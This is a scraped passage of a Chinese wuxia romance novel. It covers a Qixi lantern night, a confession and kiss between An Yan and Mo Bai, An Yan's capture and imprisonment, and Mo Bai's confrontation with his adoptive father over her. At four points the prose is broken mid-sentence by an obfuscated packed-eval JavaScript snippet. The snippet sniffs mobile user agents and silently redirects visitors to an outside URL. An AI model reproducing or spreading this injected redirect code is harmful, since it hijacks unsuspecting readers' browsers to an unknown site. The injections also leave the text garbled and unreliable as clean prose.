袁清明立时从椅子上跳了起来,竖眉道:“不可能!你甩开我,谁知道你是去了苍目山,还是去……” “袁姑娘,”顾鸿云截断了她,声线却稍稍放缓,似乎比往日多了很多的耐心,“墨白就在郿襄郡,我想,安姑娘也正在郿襄郡。”他见袁清明神色微愕,但仍继续说了下去,“甚至,如果伏焱确有其人,他此刻,大约也正在郿襄郡。” 安晏的手一抖。 他说什么?伏焱……也在? 腰侧采萧剑仿佛也感受到了主人心底的波动,而发出了振响铮鸣,她慌忙按住,手背突然覆上了一个柔和的温度。 她抬眼,墨白正向她望来,日光被木叶与长睫筛过,燥热都只剩温暖。她深深呼吸一口,压下心底的情绪,示意墨白无事,又拿眼风指了指顾鸿云与袁清明。 墨白温和地笑笑,便也转过视线,将注意力重新集中在屋内二人身上——握着安晏的手,却未再松开。 “为什么……怎么会?”袁清明一时头脑乱了,“可我一个人都感觉不到……他们,他们都在什么地方?” “他们的武功,都比你我更高,若有意隐藏气息,你我定然无法察觉。”顾鸿云安静道,“当然,这些,只是我的推测。但不论他们现在何处,一旦我去往苍目山,他们迟早会知道消息,你若与我同行,我恐怕难护你周全。” 袁清明咬紧了嘴唇。 说到底,还是她的武功不行。安晏若在附近却不来见她,顾鸿云不想带上她——都是因为她的武功,甚至连自己都保护不了。 “你……不必管我,如果遇到危险,我会逃到安全的地方,绝不会拖你的后腿。”然而最终,袁清明垂了目光,却仍咬牙道,“即使你不答应我同行,我也会自己去苍州。如果伏焱也会跟去,那我更不可能独自留在这里——我答应过我的朋友,要找到真相,要为他报仇。” 即使如蚍蜉撼树,可总有她,能做的事。 该做的事。 至少此时此刻,不是应该退缩和放弃的时刻。 顾鸿云静默地看了她很久。 “那便依袁姑娘吧。”他最后说,神色仍旧平静。她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236269|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻功甚至比他更好,他也没有任何立场,阻止她。 ———————————— 墨白拉着安晏离开郡府,走出了两条街方才停下脚步。 “墨白,你说,伏焱是不是真的在郿襄郡?”安晏问,眉眼间如凝了沉重的铅。 墨白回身,却笑容温和清浅:“我想,他应该不在。” “但顾将军说……” “那也只是他的推断。”墨白牵起她的手,仿佛自然而然似的,“而我的推断,是伏焱在杀死苗竹村的人之后,就离开了。” 安晏低眉思索着,随着墨白往前走。 “不过,你还记得,伏焱身边有一个叫‘徐戾’的人吗?” 安晏一怔,墨白轻笑着侧过头:“我想,留在郿襄郡等待消息的人,应该是他。” “他就在……这附近吗?”安晏不由得举目四顾,“可我为何没有感觉到——我们的行踪,难道也是他做了记号,告诉顾将军的?伏焱与顾将军联手……不太可能吧?” 顾鸿云这人就算僵硬死板不知变通,但要说他会和恶人同流合污——她是一千个一万个不信。 墨白却又笑了,声音如温暖的流水:“你放心,他的武功不及你,也不及我,定然远远躲在暗处,躲在我们不易察觉的地方。反正我们找不到伏焱,不如就让徐戾将我们的行踪告诉伏焱,等他来找我们,也是一样的。” 安晏顿时恍然:“我怎么没想到这么好的主意。” “但,是谁将我的行踪告诉了顾将军,我却说不准。”墨白笑望着安晏,目光却渐而深邃,“我觉得不是徐戾,但即使是他,也不要紧。这一次多亏了顾将军,我们才能得知千秋院的事,不是吗?” “如此说来,不论跟踪我们的人是谁,我们都不需要想办法甩开他,倒不如想法子利用他。”安晏若有所思,“只是总觉得暗处正有人盯着我,实在浑身都不自在。” “不要紧,有我在。”墨白双眸盈盈,嘴角似染轻风,“这些事情,多想无益,不如顺其自然。眼下当务之急,是去采买一路需要的干粮衣物,顾将军心急,或许明日就要动身了。” “嗯,先不想了,等到了千秋院,或许一切都有分晓。”安晏长长呼了口气,将思绪转回明媚的浮云夏空,“如果有时间,我想去一趟……” 她忽然一顿。 她好似这才终于察觉,墨白紧握着她的手。 脸颊倏忽烧了起来,她急忙要抽出手,墨白却仿佛早将她预料得透彻,手掌微微用力,她一下竟没能挣脱。 “你……你……”安晏嗫嚅半天,低着头,最后竟不知道该说什么了。 “你想去哪里?我陪你一起去。”墨白笑得温柔又狡黠,牵紧了她的手,继续向前走去。 干燥的温暖从掌心传来,在她的印象里,他的手一直清瘦修长如文雅的公子,可虎口处,竟也生了如此厚的茧。 她在心里犹豫挣扎了半晌,终是轻轻地回握住了。 50. 一定会找到你 历历河川,莽莽青原,往北行走一月有余,竟是一路的好天气。 顾鸿云途径县郡,都会停留两日,在府衙查一查卷宗,只是千秋院一事少有郡县记载,偶尔提及,也不过寥寥几笔,似乎所有人都在极力隐藏那一段往事。 他计算时间,直觉便想,千秋院之事,定与二十五年前的江湖动乱有关。 那时他尚且年幼,却也受了波及。栖归楼楼主勾结祈国,祈国大军进犯,自郿襄郡攻入俞州集安郡——他的家乡,庄宁县,恰在祈军行路上。城关失守,尸横遍野,他的家人也皆在敌军刀下丧了命。 只有他逃了出来,终在郊野遇见了越国大军。 他年纪尚小,便留下来做一些杂役。战事惨烈,此后一战,越军虽然险胜,大将军却重伤不治。他随军还朝,带着大将军留给他的名字和同泽剑,在朝中慢慢历练,虽然不擅人情世故,但经年累月,也终究做到了车骑将军。 却是很多年后,才得知祈越之战,与江湖有关,与那个栖归楼有关。 根据卷宗零星记载,几大门派联手重修千秋院,似乎正是为了培养江湖英才,防止栖归楼那样的事再次发生。 可千秋院后来发生何事,他却再未寻到只言片语了。 朝廷为了社稷安稳,不论是当年栖归楼叛国一事,还是千秋院无人生还一事,都秘而不宣,暗中压了下来。如今江湖所传,已尽是坊间流言了。 而这些事,又与伏焱有什么关系? 顾鸿云百思不解,或许只有到千秋院一探,才能知其究竟了。 ———————————— 墨白与安晏始终坠在顾鸿云与袁清明身后,恰能远远望见二人的距离。 顾鸿云看过的卷宗,他们二人也都一一看过了,同样毫无所获,回想着明思院惨象,二人心里又多了一层疑问。 “无论如何,都要去苍目山一趟,你也无需太忧心了。”见安晏又蹙起了眉,墨白伸出手,轻轻抚上她眉心。 “你说,伏焱现在在什么地方?”安晏长叹了一口气,“他会不会就跟在我们身后?甚至,此刻就在暗中观察我们?” “那不是正好?那就意味着,我们和伏焱,定会在苍目山遇见。”墨白浅笑着,“不过,我却觉得,他此刻离我们很远。” “为什么?”安晏不禁问。 墨白笑着道:“我不认为,伏焱会一路躲在暗处,既不去杀人放火,也不想法子戏耍我们一番。” 安晏一怔,终于不由得笑了:“你劝人的法子,倒是与众不同。” 墨白也不否认:“你笑了就好。”转头望着长街,夏夜月色映得石板路清透地亮,“再过几日,就是七夕了。到那天,咱们不管顾将军和袁姑娘,也不管行路到了何处,晚上一起去城里赏灯,好吗?” 安晏脚步一顿,心跳也随着一顿。 仿佛碎星的光都染了燠热,她转开眼,望着路面上的月影,又不禁庆幸起微暗的夜色。 “好。” ———————————— 转天,安晏就开始在心底埋怨起墨白了。 什么再过几日,离七夕分明还有十五日,他提前了足足十五日邀请她,害得她足足提前十五日开始辗转反侧,夜里查阅卷宗,时常就走了神。 她想,她的心思,他肯定都看出来了。 可他偏不说破,发觉她走神,就停下来安静地看着她,目光温柔得像是明湖清波。 七夕,她想,许姨姨是不过节的,许姨姨不去城里,师父也定不去,虽然唐姨姨愿意陪着她,可她不能这么任性。 虽然后来离开了竹林,她却也不曾在七夕节入城。这几年她一直追着伏焱,官府悬赏更令她不敢轻易暴露人前。城里一定很热闹吧,张灯结彩人行如川,就像话本里所描绘的,她已经连续梦见了五日。 墨白也从未留意过七夕节。这些风花雪月的事情,本和他毫无关系。 所以,当他看见流光溢彩铺满长街,他的脚不由自主地微微一停。 七夕本是乞巧节,据说原先也没有赏灯习俗,但不知何年起,许是觉得只有上元灯会不够热闹,便又在年中多增了一日,灯火笙歌,彻夜不休。 再转目,便看见安晏惊奇地睁大了眼睛,嘴巴也合不拢了。 他笑起来,竟觉得心底是前所未有的愉悦。他一手牵起她的手,另一手却故意在她嘴边轻轻一抹:“瞧瞧,口水都流出来了。” “啊,真的吗。”安晏一惊,回过神,慌忙抬起袖子擦嘴,发现手掌被墨白握住,下意识地就要抽出。 墨白自然不会让她挣脱,又握得更紧了些,牵着她走入人流:“街上人多,不要放手,以免走散了。” 这个理由如此端正,她想不出什么反对的借口,只好轻轻点了一下头。 却听他续道:“不过,即使走散了,也不用担心。不论你在什么地方,我都一定会找到你。” 她心跳一顿,脸颊似乎比灯火更烫。她知道他在说的,不只是今夜的拥挤,可手心的热度烧得她头脑也发晕,她突然不知道该如何回应他了。 但她无端便相信,他所说都是真的。 他一定会找到她。 墨白却好似未觉,许是被周遭的笑语感染,今晚他似乎有格外多的话:“七夕本有许多风俗,穿针乞巧,晒书晒衣,染指放灯,可惜咱们还要追着顾将军和袁姑娘,来不及一一体验。幸好白日绕去寺庙,礼拜了织女,只是那些验巧斗巧的活动,今日都错过了。” “我……倒没关系。江湖儿女,也不需要求什么心灵手巧。”安晏低低地道,“你若有兴趣,以后……以后的七夕,再一起去就是了。” “那,说好了。”墨白笑弯了眼睛,“不过,我们先去买一盏面具,毕竟你我仍是悬赏要犯,还是不要被人认出为妥。” “嗯。” 人流熙攘,安晏也不由得握紧了墨白的手,以免真的不小心走散。墨白拉着她在人群中穿行,她看着他的侧脸,如墨的长发落满了华灯,竟似映照出世间最温暖和旖旎的色彩。 ———————————— 一墙之隔,顾鸿云被街上的喧闹吵得心神难定。 他放下案卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249799|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抬眼,袁清明正坐在窗沿望着夜空。夜空里空无一物,她却看得入神,似乎对他在看的东西不感兴趣,对花灯盛景也不感兴趣。 他终于不由得问:“袁姑娘,你在看什么?” 袁清明一顿,颇觉惊讶地望向他:“没在看什么,怎么了?你发现了新线索?”已从窗沿跳了下来。 “没有。”顾鸿云合上案卷,起身,“今夜,街上似乎很热闹。” “是啊。”袁清明又向夜空望了一眼,“这不是七夕吗,一年少有不设宵禁的日子,可不是大家都上街凑一凑热闹了。” 顾鸿云顿了顿:“你想去吗?” “去什么?灯会?”袁清明奇道,“今晚不研究千秋院的事了?” 顾鸿云微微侧开视线:“街上太吵,左右看不进。” 袁清明怔了怔,又张了张口,半晌,最后却垂了眸子:“我对灯会没有兴趣,既然不看案卷,早些休息吧。” 说完,又停了停,转身走进了后堂。 她心绪一时杂乱,全没有留意,顾鸿云默然凝望着她的目光。 做飞贼也好,替官府跑腿也好,都是不分时节的。娘亲去得早,父亲另娶,继母苛待,她独自逃了出来,乞讨、打架、从野狗口中抢食,慢慢竟练成了不错的身手。 却始终一个人。 七夕和她唯一有关的,是这一天人们上街游玩,府院守备薄弱,她往往能趁机偷一大笔银子。她很喜欢趁着大节小节去官府和大户人家搜刮,节日里,当值侍卫时常心怀怨怼,看守也不认真,她便能有空可钻。 ——虽然,某一次过节,她却被陈俭抓了个正着。 可是,半年过去了。她不仅没能为他报仇,竟连凶手真正的样子,都没有见过。 她又想起顾鸿云,他们竟也结伴而行了半年有余,她时常觉得顾鸿云和陈俭有很多地方很像,然而顾鸿云……终究不是他。 他已经死了,她早就明白。 ———————————— 直走到长街尽头,安晏也没有买一盏花灯。 她记得许姨姨房间的窗子上总是挂着一盏老旧的花灯,据说是她一位故去的朋友送给她的。她想,能送给许姨姨花灯,又被她珍藏了这么多年的,一定不是一个普通的朋友。 她也想要一盏那样的花灯,了无装饰,简单纯粹—— 然而走遍整条街,她也未看见相似的一盏。 心里多少有些失落,但她不想扰了墨白的兴致,仍笑着道:“算了,仔细想想,咱们还要追着顾将军去苍州,带什么都是累赘,这花灯看看便罢,下一个……下一个上元节,或者下一个七夕,还能再买。” 脸上却又不由得飞起红晕。她好像无意间,与他约定了什么。 墨白仍牢牢牵着她的手,侧过头,灯火铺满他长睫:“安晏,我们换个地方。” “什么?”心跳“咚”地一声,原先被他直呼姓名,也不觉得有什么,然而此刻花火如梦,每一个词句,都沾染了暧昧的光色。 墨白微微弯着嘴角,灯影在他眼底流连:“随我来。” 51. 这就是我的答案 墨白牵着安晏跑出城,城外望瑶山在夜色中如守护着城池的神祗。夜风穿过发尾,温柔微凉,二人踏叶而行,一路到了山顶。 不同于城中喧闹,山顶处静谧无人,只有清风吹动树梢,缱绻连绵的沙沙声。星辰依稀闪烁,夏月悬在头顶,倒似比五光十色的花灯更加明亮。 停住脚步,安晏略有些喘息,脸上泛起红晕,却不知是不是因为跑得急了。 她不着痕迹地挣开了墨白的手:“这里……这里倒是不怕走丢了。” 墨白却又笑着牵起她:“气息匀了,咱们去树冠上。” 安晏微微一怔,墨白忽将她拉近身侧,伸手扶住她的腰,她未及惊呼,墨白已带着她跃上树冠,找了稳当的一处落脚。 随即,他却放开了她。 腰间的温热抽离,安晏一时竟有些愣怔。忽而一阵风过,枝叶簌簌摇晃起来,这山顶树梢不比地面平稳,她连忙定住身形,不敢再分神乱想了。 墨白温润的声线流进耳中:“从这里看灯,别有一番景致。” 安晏回过神,循着墨白的视线望去,枫相郡城就在不远,从此处竟可望见全貌。城中花火璀璨,在静默广袤的原野中,更如一盏遗世的灯。 墨白在树枝上坐下,又笑着拍了拍身侧,安晏于是坐在了他身边。 “你看那边,那是瑶江。”墨白又抬手指向西侧,瑶江两岸,依稀可见人们向江水中放灯祈愿。灯火如星,连接成串,在江面浮沉飘摇,像是一条缓慢流动的银河。 “真美……”安晏不由得感叹,“你是如何知道这里的?” “几年前来过。”墨白温声道,“也是时机正巧,顾将军恰在枫相郡多停留了两日,否则,还不知道何时才能带你来此处登高远望,也不一定能赶上七夕,得赏美景了。” 安晏默了默,却不知道该说什么,心中竟觉得有些感动。 离开师父闯荡江湖以来,她其实是没有遇见什么好事的,救下伏焱,此后几年,似乎除了奔波,就是始终盘踞在心头的无力和自责。但——幸好她遇见了墨白。 如果没有他,她想,她一个人,定撑不过这几年。 虽然他总是戏弄她,他瞒着她武功,说不定也是故意示弱,骗她保护他。可她……可她明明知道,却依然次次上当,到最后,到如今,竟不知不觉…… 忽然,遥远处“嘭”地一声响,打断了安晏凌乱的思绪。 “烟花?”她一顿,眼中继而流露出雀跃,“我还是第一次,从这个角度看烟花呢!” “那,感觉如何?”墨白浅笑着问。 “虽然我不常看烟花,但总觉得……”安晏歪着头,酝酿了一番措辞,“好像我们每一个人,都真的很渺小。你看,身在城中,会觉得街道深长城垣巍峨,可在山上,旷野无边,就会觉得一座城池也不过是沧海一粟。前年除夕,咱们也在县城中见过烟花,虽不比郡府盛大,近处看去,也颇觉光彩夺目,然而现在……”她遥遥望向枫相郡,“好像烟花,也只是像星辰一样渺小的存在而已。” 墨白闻言,不由得微微怔然。 半晌,他却将手,覆上了安晏的手。 “你说得很对。”夜风轻暖,将他的嗓音染上温柔,“但,正因天地万物,如此渺小,他们才会有各自的坚守,各自不愿错过和放手的事情,和人。” “那你呢?”安晏转过头,牢牢看住墨白,遥远的烟火倒映在她眼中,“你也有吗?” 墨白又怔了怔,笑了。 他将另一只手抚上安晏的长发,他知道安晏在问什么,他也知道他的答案。可他没有立即回答,只一遍一遍地抚摸着,好像那长发柔软如锦缎,而令他流连忘返。 安晏终于等得不耐烦,又或者是他手心的温度,令她心跳乱了节拍。她拍开他的手,却下意识地转开视线:“你不答就算了。” 墨白笑起来,望着她已经红透的耳根,星光好似行将流泻出他的眼眸:“安晏,你是不是醉了?” “什么?”安晏微愕,转回目光,“我又没有喝酒,怎会……” “那,一定是我醉了。” 墨白截断了她的话,她看见烟花灯火月光星辰在他眼底骤然放大,温热的气息拂过鼻翼,柔软的唇贴上了她的唇。她彻底失去了语言。 不知道过了多久。 遥远的华灯消失了,清渺的星月消失了,夏夜安静而温柔,只剩下两个人的心跳声。 许久,他终于放开她,眸子里犹含着情欲。她的手紧紧抓着裙摆,空气重回大脑,连带着紧张和慌乱:“你,你怎能……” 墨白却恶作剧似的,又在她唇边轻轻一吻:“这就是我的答案。” 安晏的心跳完完整整地断了一拍。 烟花落幕,长夜重归寂静,江边的人群陆续散去,只余花灯如缀,悠悠漂向远方。 “走吧,我们也回去吧。”墨白向她伸出手。 “什么回去?回去哪里?”安晏的神智仍在九霄天外。 墨白笑了,握住她的手:“夜深了,我们回城吧。” 他牵着安晏跃下树冠,安晏稍稍镇定了些,忍不住问:“你是不是……算好了时间?你知道今夜会燃放烟火?” 回想起来,他们才到山顶不久,烟花表演就开始了,她不相信真的只是巧合。 果然,墨白轻笑了一声:“在你看花灯时,我听见了街边百姓的议论。” 安晏不再说话了,墨白也没有开口,二人奔下望瑶山,奔向远处依旧明亮如昼的灯火。约莫一个时辰,墨白与安晏踏进城门,重新戴上了面具。街上行人稀疏了很多,但仍有不少商贩在道旁经营。已经不至被人流冲散,墨白便没有再牵安晏的手。 安晏自然不可能主动去牵墨白。 然而走向客栈,安晏一路眼睫低垂,目不斜视,似乎也没有了赏灯的兴致。这么多年都不觉得,怎么忽然间,双手竟好像空落落的? 意识到这个念头的时候,她不由得暗暗骂了自己一句没出息,又将头压得更低了。 她不管不顾地往前走着,直到了客栈,她才猛地一顿,想起身后不知道是不是跟上了自己的墨白。 她连忙停住脚,回身,又是一顿。 墨白就在她身后两步远,正笑盈盈地望着她,流光溢彩铺展在他眼角,眼中的星辰却比灯火更亮。 见她终于回头,他抬起手,手上是一盏花灯。 了无装饰,简单纯净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17259873|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,如温柔的皎洁的月亮。 她愣怔半晌,忘了去接。 墨白只好踏上一步,将花灯放进安晏手中。 “这是你在找的花灯吗?” 烛光温柔地流转,安晏望着花灯,又望向墨白,不由得眼眶微润:“你……你怎么知道?” 墨白温声笑道:“你仔细看了一路,分明是想买一盏花灯,却到最后也没有挑出中意的。我于是想着,与那些花灯式样都不同的,会是什么?方才在路边见到这一盏,猜想或许是你在找的,就擅自买了下来。” 顿了顿,又玩笑道,“即使我猜错了,你也不能说不喜欢,不然,我可是会伤心的。” 烛火似从眼角流进了心底,在她血脉间种上了灼热的心跳。她半低下头:“我……我很喜欢。是真的。” 墨白笑了,终于再次牵起她,拉着她向客栈后院走。灯火随脚步摇曳,夜色渐渐安静,走到房门前,她忽然下定了什么决心似的,停住了脚步。 “怎么了?”墨白回过头。 “墨白。”她低声唤,她不敢看他,声线却清透而坚定,“七夕拜求织女,女子时常许愿,得遇如意郎君。可我的愿望,与此无关。” 墨白回身,浅笑着,他知道她在等他问她:“那,你白日在寺庙中,许了什么愿望?” 她仍低着眼睫,却没有一分迟疑:“我许的愿望,愿四海安定,黎民富足。” 墨白实有些意外,不禁微微一怔,他本以为她至少要许一个与她自己有关的愿望。却听她续道:“伏焱的事情,我要靠自己去追查,而我的如意郎君……我已经找到了。” 她说完,墨白没有开口,四周便就此安静了下来。 客栈之后,庭院深远,子时已过,客人都已入梦,只剩下烛火与花灯,将长夜染得温柔。 良久,墨白终于伸出手,将她拉进他怀中:“傻瓜,你可以为自己许一个愿望的。不论你的愿望是什么,我都会和你一起实现它。” 熟悉的木香包裹住她全身,一个轻柔的吻落在她眉心,她抬起手,回抱住身前的温度,闷热的夏风与鼓噪的心跳,竟都慢慢地沉静下来。 她是如此信赖他,她是如此依恋他,一定是从很久之前,甚至她自己都没有意识到的时候,他就住进她心里了。 她想,等去了苍目山,等伏焱的事情解决了,她就带墨白回去,将他介绍给师父和许姨姨、唐姨姨吧。 ———————————— 这一夜,安晏睡得极为安稳。 窗边挂着花灯,像是清澈的月亮,令她的梦境不再有一丝一缕的不安。 结果,这一觉睡到了将近辰时四刻。 醒来后,安晏不由得连叫不妙,夏日高悬,顾将军和袁姑娘会不会已经离开了?墨白为何不叫醒她?他一向起得比她早,总不会今日也睡过了吧?总不会……昨夜……失眠了吧? 回想起昨夜的事,她不由得脸颊一阵滚烫,连忙匆匆洗漱穿衣,一边忐忑不安不知该如何面对墨白,一边默念着正事要紧,敲响了隔壁房门。 ——门却未锁,应声而开。 墨白不在房中。 她随即听见了脑后破空而至,杀意如冰的刀风。 52. 我没有爱上她 “这件事,已经禀报给阁主了吗?” 窗扉遮掩,一室幽光,墨白听过高言雀回禀,面容平淡地问。 高言雀恭敬地半跪在地上:“是,阁主已有安排。” 高言雀说,他循着安晏抵达南疆之前的路线,找到了许翎竹几人的住所——在建水县郊一片竹林深处。他不便孤身犯险,因此未探入其中,而是先去向麒麟阁阁主汪褚时与墨白汇报。 然而,墨白的眉心却皱了一下:“已有安排?” 高言雀道:“是,说是,由姜总管安排人手。” 墨白沉默稍许,眸子里渐渐浮现出暗色:“阁主还有其他吩咐?” “是。阁主说,请您回麒麟阁,他有事与您相商。” 墨白一顿,不由得问:“你未与他说,我正在追踪伏焱?” “属下不敢。”高言雀忙低下头,墨白的语气仍旧平静微凉,却似乎比方才,渗透出某些隐喻的危险,“属下据实汇报了您在追查伏焱一事,但阁主说,此去苍目山,可顺路回麒麟阁。” 墨白又静了片刻,“知道了。”终于起身,向门外走去。 却听身后高言雀提醒道:“墨公子,阁主请您,即刻动身。” 墨白脚步微停,打开房门,回头看向高言雀,竟轻轻笑了一声。夏光照亮他的眼睫,却全被挡在双眼之外,那双眸子,仿佛掩埋着冬月的雪:“我若不呢?” 高言雀不禁愕然抬起头,墨白却未再停留,只留给他一角月白色的背影。 ———————————— 离开之后,墨白神色沉肃,步履匆匆地赶往客栈。 汪褚时不信任他。 这无可厚非,他也并不信任汪褚时。 他终究是汪褚时义子,汪褚时虽不信任他,顶多是分走他一些职权,找几个人来制衡他——百年之后,麒麟阁主之位,汪褚时也不可能再交给其他人了。 但是,安晏不同。 许翎竹隐居之所已经找到,安晏已经对麒麟阁,没有用了。 没有用了,他们会不会,想要将血祭剑法彻底独占,干脆杀人灭口,永绝后患? ———————————— 墨白一步也未停顿,径直走向他与安晏落脚的客栈,甚至顾不上顺路买一件物什,当作他一早不在房间中的借口。迈进大门,穿过厅堂,走入后院——他看见了院中翻倒的花盆,和血迹。 心跳倏忽缩紧了,抬眼望去,安晏的房间房门大开,而无一人。 盛夏日光如火,他一瞬间如坠严冬。 拳头在袖底紧攥着,脚步却一动未动。此处打斗,并未持续太久,花盆只倒了一个,血迹只零星两点,外间掌柜、隔壁院子的住客,似乎都毫无察觉。 安晏的武功很高,麒麟阁中,做得到这一点的,能有几个人? 汪褚时正在阁中等他,姜城乌去探查血祭剑法了——他们本也打不赢她——所以,竟然是暗部总管鸦,亲自来了吗? 日色炎炎,他的眸子,愈加幽暗了。 他真的要,即刻动身了。 ———————————— 潮湿的冷意循着肌肤,一层层渗透进脏腑,仿佛极深的海底,仿佛无星的长夜,周遭所有,都是无边无际的黑暗—— 安晏倏然睁开眼。 眼前只有像梦一样的黑暗。 她忍不住打了个寒颤,却不敢发出响动。她在什么地方?侧耳细听,只有遥远的风声和水声,而无半分人声。等了半晌,所见仍只有一片漆黑,她想,她或许是在地下,这间屋子——这间牢房,没有窗户。 直到这时,她才感觉到右臂上传来的痛。 那日在客栈,她去找墨白不在,脑后突然刀风袭至,她下意识地探向腰侧——却探了个空。采萧剑留在她的屋子里,她慌忙矮身避开一刀,步法移动,然而那人却比她更快一步,截断了她的去路。她无法回屋取剑,眼见长刀如电,直刺向面门,她只得一纵身形,退到了院子里。 没有兵器在手,她只能边战边退,招招防守。面前这人,黑衣遮面,刀法既快且狠,刀刀直取要害——他是谁? 看他长刀制式,与麒麟阁相似,他也是麒麟阁暗卫?可是先前来袭击她的,都有几个人,武功也不及她,这次来杀她的,只有这一个人。 她却没有把握能赢。 分神之间,右臂不小心被长刀划过,留下一个血口,她急忙连退三步,然而院子太小,这一退竟踢倒了一个花盆,身子失去平衡,她仓促间去躲避,可身后已退无可退,还未站稳,长刀就贴在了她颈侧。 她下意识顿住,随即,掌风拍中胸口,她失去了知觉。 ———————————— 安晏在黑暗中坐起身子,摸向腰侧——采萧剑果真不在身边。 又慢慢起身,在黑暗中沿墙摸索了一周。这是一个不足一丈见方的监牢,没有窗,仅一扇严丝合缝的门,没有一星光亮渗出。 腹中有些饥饿,内力倒未被封住,但监牢四面石墙,她也不可能逃脱。 她不知道她在这监牢中,度过了多久。 她不免有些自责,客栈中她到底是轻敌了,虽然没有剑,那人武功也比她高出些许,可总不至于落败得如此迅速,更不至于连逃走都没能做到。如果她能多坚持一刻钟,等到墨白回来—— 墨白该不会,也被他们抓来了吧? 安晏试着唤了两声,然而回答她的只有一成不变的寂静。战斗时她未觉四周还有其他人,墨白武功比她高,应该也……比她警觉,不会冒失地踏入危险吧。 他回到客栈,发现她不在,定会担心焦急吧?——他会来找她吗? 她的问题,竟在不到半个时辰之后,就有了答案。 牢门外传来模糊的脚步声,安晏凝聚起真气,一瞬不瞬地盯着声音传来的方向,随即牢门被人推开,外间的火把晃得她有些目眩,她却看见了火光中,墨白的面容。 他踏进牢中,神情平淡,仿佛是滚烫烈火也无法消融,一座青玉的雕塑。 ———————————— 一日前,墨白回到了麒麟阁。 汪褚时在阁中等他,却不是迎接他。 他屏退了所有弟子,议事厅中只有他与墨白二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17269505|193148||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。墨白行了礼,汪褚时开门见山地问:“你爱上她了,是吗?” 墨白眼睫微顿,不动声色地反问道:“义父,此话从何说起?” 汪褚时冷笑一声:“你只需回答,是,或不是。” 墨白平静地望着汪褚时:“我没有爱上她。” 眸子却不易察觉地一暗。 墨白给出了回答,汪褚时却全然不信,他深深地看向墨白:“我并未说出姓名,你如何得知,我所问是谁?” 墨白的神色却没有松动,只将长睫掩下,似发出一声轻淡若无的叹息:“这些日子,我都与安晏同行,义父所问,难道不是她吗?我虽不才,但若如此愚钝,恐怕实在有负于您的教诲。如今诸事未定,辩论这些,也实在毫无意义。” 这番话已十分坦荡诚恳,但汪褚时仍未全信,他沉默半晌,又问:“我听说,今年七夕,你与她出城赏景,流连夜市,甚至亲自为她挑选花灯。你又该如何解释?这些,难道也是你逢场作戏吗?” 是高言雀告诉他的吗? 暗部的人,是阁主的人,终究不可能与他一心。 但墨白却未解释,而是道:“义父,姜总管尚未抓到许楼主,血祭剑法,麒麟阁也尚未握在手中,切不可操之过急。即使您想过河拆桥,也务必耐心,先过了这条河。” 汪褚时双眼眯了起来:“你的意思,是姜城乌会失败?” 墨白安静地道:“是。” 汪褚时似乎被墨白气着了,不由得发出一声短促的笑。他知道墨白不服姜城乌,姜城乌也不服墨白,手下弟子亦常有争执——他们两个人,本就是他用来牵制彼此,好让麒麟阁势力得以均衡的策略。可是,墨白是他义子,麒麟阁主一位,将来迟早是他的,他纵然对姜城乌有所不满,又何须如此斤斤计较,目光短浅?那血祭剑法是留给他的,姜城乌失败,对他又有何益处? 他不由得冷笑道:“许楼主肩有旧伤,唐璃右臂已断,宗暮非武功更不足为虑,只有三个人,还能与麒麟阁抗衡吗?” “义父,”墨白眉心深锁,“您难道不记得,二十五年前,栖归楼血洗江湖一事了?况且许楼主还有血祭剑法,绝不可轻敌。” “纵是猛虎,也独木难支。”汪褚时不为所动。 墨白终于沉默了。 汪褚时牢牢注视着墨白,目光幽深而微凉:“你想劝我放了安晏,是吗?” “是。”墨白却毫无迟疑,也不否认,反倒令汪褚时怔了一怔,“万一姜总管未能成功,许楼主定会搬离建水县,另择居所,届时,麒麟阁找不到许楼主,只有安晏,是我们必须留下的线索。” 除了这个理由,他的记忆,也还没有恢复。 就算不为私心,现在推开安晏,对他和麒麟阁都没有好处。 汪褚时却望了墨白半晌:“好,你不承认。”他似乎认定了,墨白对安晏已经心生私情,“安晏此时,正在麒麟阁地牢当中。” 墨白的眼皮不易察觉地一跳。 